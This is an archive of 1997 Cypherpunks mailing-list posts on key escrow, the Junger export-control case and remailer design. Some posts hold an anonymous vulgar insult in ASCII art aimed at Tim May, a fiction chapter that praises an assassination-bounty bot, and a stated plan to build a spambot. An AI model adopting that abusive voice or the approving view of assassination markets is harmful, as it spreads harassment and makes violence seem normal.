Subject: Re: LJL into key-escrow? (was Re: The Balloon is Going Up....criminalization of noncompliant crypto)
In-Reply-To: <19970401122309.44634@bywater.songbird.com>
Message-ID: <3342C920.3233@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, lacking valid arguments, asked:
> 
> Do you work for a living?

  I'm an undercover liquor store owner.
  I use PGP ski-masks to retain my anonymity when picking up 
the night's receipts. (It's kind of a freelance 'cash escrow' 
type of concept.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nadeshda@mexred.net.mx (nadeshda vargas stepanenko)
Date: Wed, 2 Apr 1997 13:30:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: q.N2
Message-ID: <3342CF22.6181@mexred.net.mx>
MIME-Version: 1.0
Content-Type: text/plain








	To whom it may concern:





	Thank you for answering my mail, it was very useful for me, but at the

end you asked me why do I think legislation would be needed?



	I have several opinions:



	In one part I think that it is not necessary to legislate, because as

you said you have to protect your privacy from the gobernent, I´m agree

of that, but I have other situations:



	I´m going to give you some examples:



	1) I heard about several cases about individuals who use the Internet

to attract children who are then raped and murdered, kidnapped and sold

on the black market, many of these pediophiles work out in open in

complete anonimaty, due to the structure of the Internet and many

service providers.



	2) And what about the terroists who use the Internet to comunicate with

each other, gather information and funding establish methods,

investigate methods of terrorism (how to make a bomb in your house using

abono and household chemicals.  This is an area that should be strongly

controlled, but the question is how do you do it without restricting the

rights of the average citizen?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 2 Apr 1997 18:46:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704022348.PAA25245@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


May Tim `C' May's forgeries get stuck up his 
ass so he'll have to shit through his filthy 
mouth for the rest of its miserable life.

        o/ Tim `C' May
       <|
       / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 2 Apr 1997 14:10:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger v. Secretary of State
Message-ID: <1.5.4.32.19970402220236.006d8514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer Peter Junger pleadings against the Secretary of State
and the government's responses:

   "This action is brought by a law professor under the First 
   Amendment challenging United States export laws that he claims 
   infringe upon his rights to speak and publish encryption software 
   and other encryption information."

Several prominent cryptographers and NSA officials have provided 
declarations in connection with the suit.

   http://jya.com/pdj.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 2 Apr 1997 17:32:42 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <199704020022.QAA24113@fat.doobie.com>
Message-ID: <v03007801af68b9b3f01e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:08 AM -0800 4/2/97, Kent Crispin wrote:

>I'm not working from a cheat sheet.  No one is telling me what to say.
>Just like you, I am too totally inconsequential to make it worth
>anyone's time to try to make me say anything.
>
>I am not in favor of GAK, either.  When I talk about companies wanting
>key escrow I am speaking from observation, not ideology.  It's sad
>that a mailing list that purports to be a bastion of free thought
>harbors so many closed minds -- people who don't have the faintest
>idea about my beliefs fall all over themselves jumping to conclusions,
>apparently because they have become so conditioned to certain
>buzzphrases that they no longer think.


I don't see a significant fraction of the commentors here making
allegations that you are some kind of government agent. While you may have
a "LLNL" address, and so may work for the Lab, I don't consider this
significant, per se.

However, many of us are more than just opposed to GAK: we are skeptical of
claims that business wants something closely resembling GAK.

Key recovery systems have many legitimate uses; this has been acknowledged
by the thoughtful commentors here for several years, for as long as the
debate has existed. (Before the Cypherpunks group was even formed, I did
some consulting for a businees interested in setting up a form of offshore
data storage--key recovery was an obvious part of the strategy.)

However, key recovery need have no "hooks" by government into it. The
attempt by the government to ensure secret access, without even so much as
a search warrant, is revealing.

This is what we oppose. Opposing a system which could easily turn into GAK
is hardly a matter of "closed minds."

Kent, you don't want folks labelling you. You should then avoid language
like "fall all over themselves," "conditioned," "purports to be," and
"jumping to conclusions." In fact, in that paragraph of yours above nearly
every phrase was this sort of slam.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 2 Apr 1997 16:51:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC 97 and www.offshore.com.ai offline
Message-ID: <199704030051.RAA09646@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone been able to reach www.offshore.com.ai for the last 
several weeks.  I've been trying to follow up with some email to 
Vince about getting my fellow FC '97 attendees' email addresses, but to
no avail.

If anyone on the list was at the conference, or has such a list I 
would appreciate it.

BTW: hi to lucky green, eric blossom, vince and everyone that made FC 
97 a wild adventure.

jim burnes
jim.burnes@ssds.com

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 2 Apr 1997 16:16:34 -0800 (PST)
To: Mixmaster <mixmaster@remail.obscura.com>
Subject: Re: Bot-generated insults
In-Reply-To: <199704021914.LAA23393@sirius.infonex.com>
Message-ID: <3342F720.7AB@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mixmaster wrote:
> 
> Now, you too can act like a total asshole and send anonymous slams to mailing
> lists and newsgroups making it impossible to killfile.

  Been there, done that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Apr 1997 16:59:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger vs. U.S. crypto-suit
Message-ID: <v03007808af68b118e57c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to JYA for putting these documents online; I wasn't able to convert
'em myself.

-Declan

************

http://cgi.pathfinder.com/netly/editorial/0,1012,792,00.html

The Netly News Network / Afterword
Junger vs. U.S.

By Declan McCullagh (declan@well.com)
April 2, 1997

Peter Junger decided to do it differently when he
filed a lawsuit against the Federal government
seeking to lift export controls on encryption
software. He could have mimicked the other two
crypto-suits and asked the government to let him
ship data-scrambling software overseas -- and sue
when the request was denied.

But Junger never sent that query to the Feds.
"In my case I've never applied for permission.
>From the beginning I'm raising the constitutional
issues. So it's a cleaner case," says Junger, a
63-year old law professor at Case Western Reserve
University.

Junger hopes to win by stressing that any
regulation requiring government approval of a
publication -- a "prior restraint" -- is
unconstitutional, even when applied to computer
programs. "My position is that I don't have to
apply for a license. It's unconstitutional for
you to require me to apply for a license," he
says. (The U.S. Supreme Court has repeatedly
ruled that the First Amendment's "chief purpose"
is "to prevent previous restraints upon
publication.")

Junger filed his lawsuit last spring. Now the
documents are online at http://jya.com/pdj.htm;
read on for some excerpts...

----------

Excerpted from Statement of issues, points, and
authorities

ISSUES

Prof. Junger challenges those provisions of the
ITAR, as written and as would be applied to his
conduct, that require a license or some other
government approval before disclosing
cryptographic software or technical data. The
following are principal standing and First
Amendment issues that plaintiff respectfully
suggests ought to be addressed at oral argument:

Standing Issues

I. Prof. Junger has alleged that he cannot
disclose at least some cryptographic information
(either cryptographic software or technical data)
to foreign persons or place some of the
information on the internet without a license.
Does Prof. Junger have standing to challenge the
regulations? Or must he first apply for a
license?

First Amendment Issues

II. As a threshold matter, is source code and
object code expression or so closely related to
expression that is protected by the First
Amendment?

III. There is no dispute that certain
cryptographic software and technical data is
subject to licensing under ITAR. Do the licensing
requirements amount to a system of
unconstitutional prior restraints?

IV. The government has asserted that export
controls on cryptographic software and technical
data are necessary to protect its ability to
gather foreign intelligence. Do the regulations
control a substantial amount of protected
expression that is unrelated to the government's
stated purpose?

V. Notwithstanding that all statutes and
regulations are imbued with some ambiguity, are
these regulations sufficiently clear to persons
of ordinary intelligence?

----------

Code that actually encrypts deserves First
Amendment protection apart from its own
expressive content. Code that actually encrypts
can be used to keep other communication secret
and confidential. To the extent that source code
and object code have a function, that function is
to protect the secrecy and confidentiality of
other communication. For this reason alone,
cryptographic computer code deserves First
Amendment protection. As a means of protecting
confidentiality and furthering other
communication. cryptographic code is no different
than the newsracks at issue in Lakewood or the
ink and paper at issue in Minneapolis Star &
Tribune Co. v. Comm. of Revenue, 460 U.S. 575 (
1983).

Any requirement that a person must first seek a
license or other government approval before
publishing or disclosing protected expression is
a classic prior restraint. Near v. Minnesota, 283
U.S. 697 (1931).

###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 2 Apr 1997 20:43:31 -0800 (PST)
To: "Timothy C. May" <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970402000825.61388@bywater.songbird.com>
Message-ID: <v0300780daf68dfeaf12d@[207.94.249.214]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:43 PM -0800 4/2/97, Timothy C. May wrote:
>However, key recovery need have no "hooks" by government into it. The
>attempt by the government to ensure secret access, without even so much as
>a search warrant, is revealing.

This issue is to me key.  If the government wants any creditability on the
GAK issue, it will include in any GAK system, a provision for independent
auditing, after the fact, of intercepts.  (BTW - I will still oppose GAK,
but some of my best arguments will be taken away.)

It seems to me that once you swollen the idea that government has, under
any circumstances, a right to read your mail, there are two issues.

(1) Is the proscribed procedure fair?
(2) Did the government follow the procedure?

(My opposition to GAK is based on my belief that there are no star chamber
proceedings which are fair.  The ability to confront the witnesses against
you and compel witnesses to testify for you are key here.)

However, auditing only addresses the second issue.  There are many problems
with auditing the government's use of its access.  One key one is, who is
the auditor?  At CFP97, I suggested that the press would make a good
auditor.

If the KRAP agency is truly at arms length from the government*, then a
report of the keys released compared with records that the procedures were
followed, would allow anyone, the press included, to check that the
government followed the procedures.

Now, I frequently think that the press is in bed with the government, so I
am looking for a better auditor.  Some institution which values its
reputation more than it values its relationship with the government would
do.  Anyone have any good candidates?

* Assuring this arms length relationship is an exercise for the student.
(I give it a Knuth grade of 50.)


-------------------------------------------------------------------------
Bill Frantz       | I have taken a real job at | Periwinkle -- Consulting
(408)356-8506     | Electric Communities as a  | 16345 Englewood Ave.
frantz@netcom.com | capability security guru.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 2 Apr 1997 20:19:29 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704022348.PAA25245@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970402211643.103920I-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 2 Apr 1997, Mix wrote:

> May Tim `C' May's forgeries get stuck up his 
> ass so he'll have to shit through his filthy 
> mouth for the rest of its miserable life.
> 
>         o/ Tim `C' May
>        <|
>        / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 2 Apr 1997 20:01:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 24
Message-ID: <33432BA0.3EF6@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Stego


Jonathan sipped on his shot of Jim Beam,
scanned the profusion of literature stacked in front of him, and
let out a long overdue sigh of astonishment.
He still found it hard to believe that such a rag-tag band of
off-the-wall individuals, railing against the storm of madness
around them, could have had such a long-reaching impact on the
society and technology around them.

Jonathan had sorted the CypherPunks emails
and CyberPosts into a thousand different categories, arranged
first this way, and then another, and had finally ended up with
just two piles, marked 'sane' and 'insane'.
He laughed, had another sip of bourbon, and lit a cigarette.

These fuckers were crazy, there was no denying
that. In many ways, they were philosopher Kings, arguing, from
a position of comfort and security, over how many CryptoAngels
could stand on the head of a pin.
On any given day they might be found joined together in a mighty
voice, railing against the forces of oppression that were threatening
their freedom, and the freedom of all around them. The next day,
they would be enmeshed in petty squabbles over some minor point
of mathematical theory that the rest of the world neither knew
or cared about.
To all apparent purposes, a quick overview of the postings to
the CypherPunks list would give the impression that the great
debates they engaged in had resulted in little of real import,
other than to perpetuate their own intellectual arrogance.

However, a certain post caught Jonathan's
eye and caused him to begin an investigation that made him view
the CypherPunks eloquently mad ramblings in a new light.


------------

From: tcmay@got.net (Tim May)

To: cypherpunks@cyberpass.net

Subject: The Balloon is Going Up....criminalization
of noncompliant crypto


<snip>

(An inside joke. It was four and
a half years ago, five months before

Clipper, that I wrote an article
for sci.crypt entitled "A Trial Balloon to

Ban Crypto?" This outlined Dorothy
Denning's "trial balloon" to restrict

cryptography in various ways, including
Clipper and key escrow schemes.

There were hundreds of responses
to this article, as old archives may show,

and it was one of the first warnings
about what has since come to pass.)

<snip>

------------

Jonathan checked the records, and found
that Tim May's claims were, in fact, true. He proceeded to check
the records of that era further, and found that a great deal of
the discussions of the CypherPunks had indeed had a serious impact
on the issues of their day, or foretold the issues of the future.

The CypherPunks had apparently, in their time, stood at the nadir
point of the future, where the issues that were of concern to
them-freedom, privacy, encryption, anarchy-were the issues which
would decide the difference between a future in which mankind
would be free, and a future in which mankind would find themselves
enslaved by impersonal forces with a life of their own-forces
which stood apart from true human concerns.

Once he had divined this important characteristic
of the CypherPunks rambling discussions, Jonathan suddenly became
aware of the significance of the attempted takeover of the CypherPunks
list, and the subsequent attacks on their remailer system. It
threw a whole new light on both affairs.
It had been a mystery to Jonathan why one of the list founders
would have taken part in such a transparent and badly executed
plan to enforce censorship on such a omnivorous pack of sharp-toothed
anarchist. Now, however, it seemed to Jonathan that certain entities
within the CypherPunks had received advanced warning of the coming
remailer attacks and had precipitated the censorship crisis in
order to shake up the list membership and get them pumped up for
the coming battle.

Or, perhaps not.

Like everything else surrounding the CypherPunks,
the motivations and personal impetus behind the actors in these
scenarios would eternally remain a mystery except to the individuals
involved. (And, in some cases, maybe even to the individuals themselves.)

But regardless of the particular motivations
of each individual CypherPunk, there was no denying that the end
result of their cycles of sanity and insanity led to technological
innovations and definitions of socio-political issues that changed
the face of science and society around them.
It was not just the direct results of their developmental efforts
that had a long-ranging impact, but also their propensity for
circumventing systems, methodologies and legislative actions,
which then led to those in authority scrambling madly to close
the technical and legal loopholes that the CypherPunks would pry
open each time that government and corporate interests would attempt
to slam shut the lid on privacy and freedom.

At each stage of CypherPunk achievement,
it seemed that the government would usurp control over its development,
at which point the hackers and phreaks would compromise the government
approved systems, while the CypherPunks were busy taking the technology
to yet another level (which the government would again legislate
government control over).

When Jonathan had begun to suspect the amount
of impact the CypherPunks had had in their time, he began to cross-reference
their activities with the archives from 'Wired', 'Hot-Wired',
'Hard-Wired' and 'Un-Wired'. In almost every case, the CypherPunks
were leading the techo-political arena of their day, instead of
complacently following along behind.


"Assassination Politics," originated
by Jim Bell, had been just a theoretical exercise during his lifetime,
dismissed by most who read it as a thinly veiled joke, at best.
Bell, however, had developed a workable autobot which instituted
his system, albeit in a very rudimentary way.

Basically, his procedure was analogous to
a lottery system where the players were contributing to a prize
that could be collected, not by chance, but by anyone who fulfilled
the preconditions of those contributing. And the precondition
was that, in order to pocket the 'prize', one had to assassinate
the person targeted by the contributors. Since Bell's system used
anonymous remailers, his system would allow individuals and groups
to anonymously defend themselves from all types of aggression.

Eventually someone modified Bell's 'Assassination
Bot' to serve as a useful tool for political polling. Someone
else took it a step further, and it became a valid electoral tool.
Then, inevitably, just before the Channel Revolution broke out,
it's newly refined features were once again modified to serve
Bell's original purpose, and all hell broke loose when established
geo-political figures began dropping like flies, or resigning
in terror when they realized that the people were indeed speaking,
and doing so by putting a price on the heads of their oppressors.



William Geiger III's system of revolving
web mirrors never made the cut as a viable method of circumventing
various governments' blocking of web pages they considered undesirable
for their citizens to have access to. Likewise, Adam Back's hash-cash
digital collision system, which required users to use CPU time
to develop email postage credits, failed in its stated purpose
of lessening the amount of spam, or unsolicited email, which had
plagued InterNet users at the time he developed the concept.

Later, however, a retired Phil Zimmerman,
not content to rest on his laurels as the 'Father of Public Cryptography',
had combined the two concepts with a new public key technology,
and made it possible for those with access to revolving public
keys to access the mirrors, while those without them were faced
with needing to expend inordinate amounts of CPU time in order
to generate the massive amounts of hash-cash needed in order to
follow the chain of mirrors to the 'undesirable' sites.

Governments would, of course, eventually
ferret out the sources of the mirror sites, at which time the
underground organization 'InterNet Free World' would merely broadcast
the new mirror keys and new mirror site-maps to members of the
Trusted Others, and the dissemination process would begin all
over again, with the government having to start, once more, from
Ground Zero.

In almost every thread Jonathan followed,
there would be some minor or major item of discussion or development
which would later prove to be an influential fulcrum-point from
which various technologies or social causes would spring up and
evolve.


The one thing which seemed to be odd to
Jonathan, however, was the quickness with which the remailer network
disappeared into the woodwork after they came under socio-politico
attack from every conceivable direction.

The problem with the remailers was that
they served their purpose a little too well. They were an easily
accessible way for the average person to remain anonymous while
sending email, thus hiding their identity from those they sent
their missives to.

In theory, the remailers were a wonderful
tool for the disadvantaged, the oppressed, and other victims of
circumstance to anonymously address issues that could bring serious
repercussions down on them if their identity became known.
In actual practice, however, they became a tool for assholes and
aggressive entrepreneurs to prey upon a multitude of victims without
their targets having a method of recourse. When the InterNet underwent
a massive increase in popularity, the weirdoes, assholes and money-grubbers
became the order of the day, and the capabilities that the anonymous
remailers offered for them to escape consequences for even the
most abominable of actions left the remailers open to extremely
high levels of abuse.

Since the users remained anonymous, the
only target of attack for those who felt victimized by the messages
passing through them were the remailer operators.
The government agencies which wished to replace the CypherPunks
remailers with their own email routing systems launched a campaign
to totally discredit the individual remailers, and soon they were
dropping like flies, both from covert government manipulations
and subsequent legislation leaving them open to legal attack,
once the public outcry began.

What Jonathan found curious was the fact
that the CypherPunks went to great lengths to develop various
systems and methodologies to counter the growing inadequacies
of the remailers once the common masses descended on the InterNet,
and yet, just when they seemed to have theoretically solved most
of the problems before them, the CypherPunks remailers folded
in a surprisingly short period of time.
Jonathan had, by this time, learned that any anomalies surrounding
the CypherPunks was best approached with an in-depth analysis
of all events surrounding the mysterious events, and what he found
when he did a cross-patch analysis of the emails from this time
period surprised him, to say the least.

Tim May, the undisputed bellwether of the
CryptoPhilospher Kings, had been the target of a massive campaign
of ASCII art attacks, subjecting him to all kinds of demeaning
implications as to his character and his morals. These attacks
were all done anonymously, although the common view was that they
were propagated by the evil Dr. Vulis, a man with a solid background
in cryptography, but a mental bent which endeared him to few on
the mailing list.
A short time before the rapid decline of the CypherPunks remailers,
however, there was a weird series of graphic-image attacks on
May, apparently by regular members of the list, including those
who had a history of fully supporting him in many of his statements
of position on the list.

This lasted for a couple of weeks, and then
came to an abrupt stop.

Try as he might, Jonathan could not make
heads nor tails of this seemingly out-of-character attack on one
of the patriarchs of the CypherPunks mailing list.
Then, out of the blue, he heard an echo of laughter from a time
long past. A time when he would crouch under the desk in his grandfather's
study, listening to the boisterous laughter of the CypherPunks
as they threw barbed challenges back and forth from one to the
other.
And suddenly, he knew...

Stego.
The remailers had gone underground.

The list members were laughing, not at Tim
May, but at the world, as they parodied the ASCII art attacks
on him, all the time leaving messages deep in the innards of the
graphic artwork that seemed so irksome, on the surface.

Suddenly, Jonathan understood why the CypherPunks, on the verge
of solving all of their remailer problems, had suddenly folded
what seemed to be a winning hand.
They had clearly seen the purge that would come as a result of
the government using the momentum of unfavorable public perception
against the remailers, and had taken themselves out of the line
of fire by seemingly letting the remailers fall by the wayside.

But the CypherPunks had survived and prevailed, right up to the
end of Channel War II, and Jonathan sensed that they did not do
so by caving in so easily to outside pressure from even the highest
of sources.
He did byte-by-byte analysis of the information stored in the
least significant bits of the graphical art submitted to the CypherPunks
list in the weeks before the remailers folded. All he got was
an incoherent jumble of characters which seemed to follow no meaningful
pattern that lent itself to any regular form of analysis.

Jonathan had been exposed to enough CypherPunk humor that he had
little trouble in figuring out that the mysterious messages contained
in the artwork could likely be decrypted using Tim May's PGP secret
key, but he was at a loss as to how to acquire it.

Unless...

Jonathan sat back, sipped on his Jim Beam, and smiled. If his
suspicions were right, then he already had the key.


Chapter 24 - Stego








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@mail.att.net>
Date: Wed, 2 Apr 1997 22:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum Computers
Message-ID: <3343549D.4379@mail.att.net>
MIME-Version: 1.0
Content-Type: text/plain


http://www.unitedmedia.com/comics/dilbert/archive/dilbert970322.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:32:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <859734501.0628582.0@fatmans.demon.co.uk>
Message-ID: <XcHk5D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm a bit behind on my e-mail again...

paul@fatmans.demon.co.uk writes:

> > > > Well, they can compile the list of addresses off of USENET postings and
> > > > such and then compute the hashes of the compiled names and identify
> > > > those that are on the anon acceptance list. Not that it completely
> > > > invalidates the idea, but certainly it is a problem.
> >
> > If a time delay isn`t a problem a remailer could operate on the list
> > with a MAC, if someone wants to find out if a name is on the list
> > they submit a request to the remailer operator who daily executes a
> > batch job using a (memorised) key to verify the hashes against one
> > another.
>
> Another idea I just had.
>
> Alice`s remailer recieves a message for Bob.
>
> The remailer blinds the message with the prime p, sends bob the
> blinded message, a product pq and a random number, x, all the remailer
> keeps is q and x. Bob, to retrieve the message as cleartext sends the
> remailer x and a request in return the remailer sends bob q, bob
> divides pq by q to get p and unblinds the message... Any comments?

This is cute, but if Bob has enough clue to do this, then Bob can
probably handle anonymous e-mail whose content he doesn't like...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703301545.QAA03183@server.test.net>
Message-ID: <wkik5D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


(I'm behing in responding to e-mail)

> > 4. What if the LEA's decide to find out how K, L are generated?
>
> Random pool like PGP, it's one way and the pool has more bits than the
> key material the Feds have anyway.  /dev/urandom is nice.

Not sure how LEA's work in the U.K., but here in the U.S. they just
might be interested in figruing out the state of the machine when
/dev/whatever was read.  Besides, someone might just use the lc
rand in the C library and init it with srand(time(NULL)*pid()) -
making it worth the while to figure out what the pid might be like.
(Wasn't that the basis of one of thw early attacks on Netscape?)
I say, eschew any protocol that involves generating a pesudo-radom
key, and then discarding it. What if the LEAs want to examine your
hard disk to see how thoroughly it's been discarded?

> > It may be hard to prove a negative to a LEO who doesn't know what
> > the hell you're talking about. You have a file in your spool that
> > was encrypted with a key that your program generated, but now you
> > no longer have the key? Well, tell us how the key was generated.
>
> I think you're arguing for your discard all policy :-)

Yes. You don't have your own domain, so you can't possibly imagine
the kind of idiots that have been getting on the 'net in the last
few years.

By the way: if Alice sends Carol an e-mail via Bob's remailer,
and Bob's remailer uses a third party database to see if Carol
accepts e-mail (such as a key server) then Alice can determine
whether Carol accepts anonymous e-mail.

Say, Carol is a journalist and Alice is a whistleblower. Alice
first sends a ping, which causes Bob's remailer to send Carol
a form letter  explaining how to unblock herself. Alice checks
the database until (hopefully) she sees that Carol accepts
e-mail, then she sends her whatever.

> btw if you're interested to fix the keyserver so that it requires an
> ack to a ping with a nonce, someone at MIT has a fast PGP key database
> / web key server which isn't using PGPs linear lookup.  You can find a
> link to it from Brian LaMachia's keyserver page.
>
> Another snazzy thing to do to the keyserver would be to have it obtain
> a timestamp signature on your key (from a third party time stamping
> service, of which there are several) and include that too.

Sigh - I wish. I'm behind on a bunch of projects, including the great
spambot. Thanks for the info anyway.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:32:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Spam a *GOOD* thing for remailers?
In-Reply-To: <199703301243.MAA23817@mailhub.amaranth.com>
Message-ID: <o5ik5D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> I know there has been much talk on how to limit the use of remailers by
> spamers. I wonder if this is the correct approach to take on this.
>
> Spam could provide the perfect "cover" for anonymous messages. If you have
> a SPAM mailer pumping out 500,000 messages a day one could hide 10-20,000
> anonymous messages without anyone ever noticing.
>
> I just don't see how SPAM is ever going to be stoped, too much $$$
> involved. I do think that we can take advantage of the SPAM. Using $$$ from
> the spamers we could set up a world wide remailer network. In addition to
> this the volume of spam going through these remailers would provide the
> perfect cover for anonymous messages. I think if properly set-up it would
> make traffic analysis next to impossible.
>
> Also by working with the spamers we could modify some of their behaviors.
> An example would be on certian remailers would allow spam. Other remailers
> would be "off-limits" to the spamers though we would syphon off a % of the
> traffic from the spam remailer and run them through the non-spam remailers
> to be used as cover for the non-spam messages. We would also put non-spam
> messages through the spam remailers.
>
> With this approach I can see us having 1,000's of remailers rather than the
> 10 or 20 that are currently running now.

I defend the spammer's freedom to spam because spam is speech.

Technology solutions to make is easier for the weak-minded to ignore spam
and not to be bothered by it would be cool.

Hopefully when I finish the spambot, it'll change the face of Usenet forever.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Apr 1997 21:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com>
Message-ID: <gkJk5D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 06:46 PM 3/28/97 EST, Dimitri wrote:
> >That's a good idea, but it'll take up a lot of disk space at the
> >machine running the remailer.  Right now, remailers that provide
> >latency don't keep an e-mail for more than about 12 hours. Once
> >you start keeping them around for a few days (a reasonable grace
> >period for a first-time user), it's a lot more disk space.
>
> Typical remailers carry maybe 100-500 messages/day;
> typical messages run 1-20KB unless they're pictures or warez.
> 	(Yes, I'm making these numbers up....)

Let them send pictures and warez. A remailer operator shoudn't care. :-)

> >IMO, the 'net has changed from what it used to be a few years ago.
> >One can no longer send e-mail to an unknown recipient and hope that
> >they're willing to accept anonymous e-mail.
> I'd agree, but from the first anonymous remailers open to the public
> there were people who didn't like receiving anonymous mail :-)

Well... Let me quote the complaint that Jim Ray (himself a one-time
remailer operator) sent to postmaster@dm.com because he didn't like
the anonymous messages that he thought might be coming from me:

]Received: from miafl2-16.gate.net (miafl2-16.gate.net [199.227.2.143]) by osceola.gate.net (8.7.6/8.6.12) with SMTP id HAA187758; Wed, 16 Oct 1996 07:13:05 -0400
]Date: Wed, 16 Oct 1996 07:13:05 -0400
]Message-Id: <199610161113.HAA187758@osceola.gate.net>
]From: Jim Ray <liberty@gate.net>
]To: root@bwalk.dm.com, postmaster@bwalk.dm.com
]X-Priority: Normal
]Subject: Dr.Dimitri Vulis KOTM
]X-Mailer: Pronto Secure [Ver 1.10]
